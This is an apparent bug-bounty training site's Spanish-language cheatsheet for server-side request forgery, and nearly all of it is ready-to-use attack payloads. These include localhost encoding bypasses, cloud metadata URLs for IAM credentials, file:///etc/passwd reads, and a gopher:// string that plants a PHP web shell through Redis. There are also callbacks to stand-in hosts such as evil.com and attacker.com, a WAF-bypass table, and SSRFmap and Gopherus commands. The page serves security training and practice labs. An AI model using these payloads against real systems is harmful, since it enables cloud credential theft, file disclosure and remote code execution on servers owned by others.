Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet SSRF
Server-Side Request Forgery
Referencia rápida
- →Siempre probar representaciones alternativas de 127.0.0.1: decimal, octal, hex, IPv6
- →AWS IMDSv2 requiere token previo via PUT - IMDSv1 es accesible directamente
- →Redirect 302 desde servidor propio puede bypassear filtros de protocolo (http -> file://)
- →El protocolo gopher:// permite interactuar con casi cualquier servicio TCP interno
- →Buscar SSRF en parametros de URL, webhooks, integraciones, importacion de archivos y parsers de imagenes/PDF
Bypass de localhost
IPv4 basico
http://127.0.0.1:80
IPv4 abreviado
http://127.1:80
Cero como localhost
http://0
IPv6 localhost
http://[::]:80/
IPv6 full
http://[0000::1]:80/
Decimal bypass2130706433 = 127.0.0.1 en decimal
http://2130706433/
Octal bypass
http://0177.0000.0000.0001
Hexadecimal bypass
http://0x7f000001/
DNS rebinding y resolucion
nip.io wildcard
http://127.0.0.1.nip.io
localtest.meResuelve siempre a 127.0.0.1
http://localtest.me
Spoofed collaboratorConfigurar DNS record apuntando a 127.0.0.1
http://spoofed.burpcollaborator.net
Unicode dotsFullwidth dots que algunos parsers no reconocen
http://127。0。0。1
Enclosed alphanumeric
http://①②⑦.⓪.⓪.⓪
Cloud metadata endpoints
AWS IMDSv1 - credenciales IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
AWS - user-data
http://169.254.169.254/latest/user-data
AWS - hostname
http://169.254.169.254/latest/meta-data/hostname
Google CloudRequiere header Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
AzureRequiere header Metadata: true
http://169.254.169.254/metadata/instance?api-version=2017-04-02
Digital Ocean
http://169.254.169.254/metadata/v1.json
Oracle Cloud
http://192.0.0.192/latest/meta-data/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
Protocolos alternativos
file:// - lectura de archivos
file:///etc/passwd
dict:// - interaccion TCP
dict://attacker:11111/
gopher:// - raw TCP (Redis RCE)Requiere soporte de gopher en el servidor
gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22
sftp://
sftp://evil.com:11111/
ldap://
ldap://localhost:11211/%0astats%0aquit
file:// con bypass de extensionEl ? evita validaciones de extension de archivo
file:///etc/passwd%3F/
Bypass de filtros de dominio
Credentials en URL
https://{domain}@attacker.comSubdominio del atacante
https://{domain}.attacker.comFragment bypass
https://attacker.com#{domain}Null byte
https://attacker.com%00{domain}Backslash trick (WHATWG)WHATWG trata \ como / pero RFC3986 no
http://attacker.com\@{domain}Parameter pollution
next={domain}&next=attacker.comBypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Filtro IP 127.0.0.1 | Representacion decimal | http://2130706433/ |
Filtro IP 169.254.* | IPv6-mapped IPv4 | http://[0:0:0:0:0:ffff:169.254.169.254]/ |
Filtro de protocolo | Redirect 302 a file:// | http://attacker.com/redirect -> file:///etc/passwd |
Filtro de dominio | DNS rebinding | http://1ynrnhl.xip.io (resuelve a 169.254.169.254) |
Validacion URL | Backslash trick WHATWG | http://attacker.com\@allowed-domain.com |
Filtro regex | Enclosed alphanumeric Unicode | http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ |
Herramientas
SSRFmap
Framework de explotacion SSRF automatizado con multiples modulos
python3 ssrfmap.py -r request.txt -p url -m readfiles
Gopherus
Genera payloads Gopher para Redis, MySQL, FastCGI, Memcache y SMTP
python3 gopherus.py --exploit redis
Interactsh
Servidor de callbacks OOB para confirmar SSRF blind via DNS/HTTP
interactsh-client -v
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica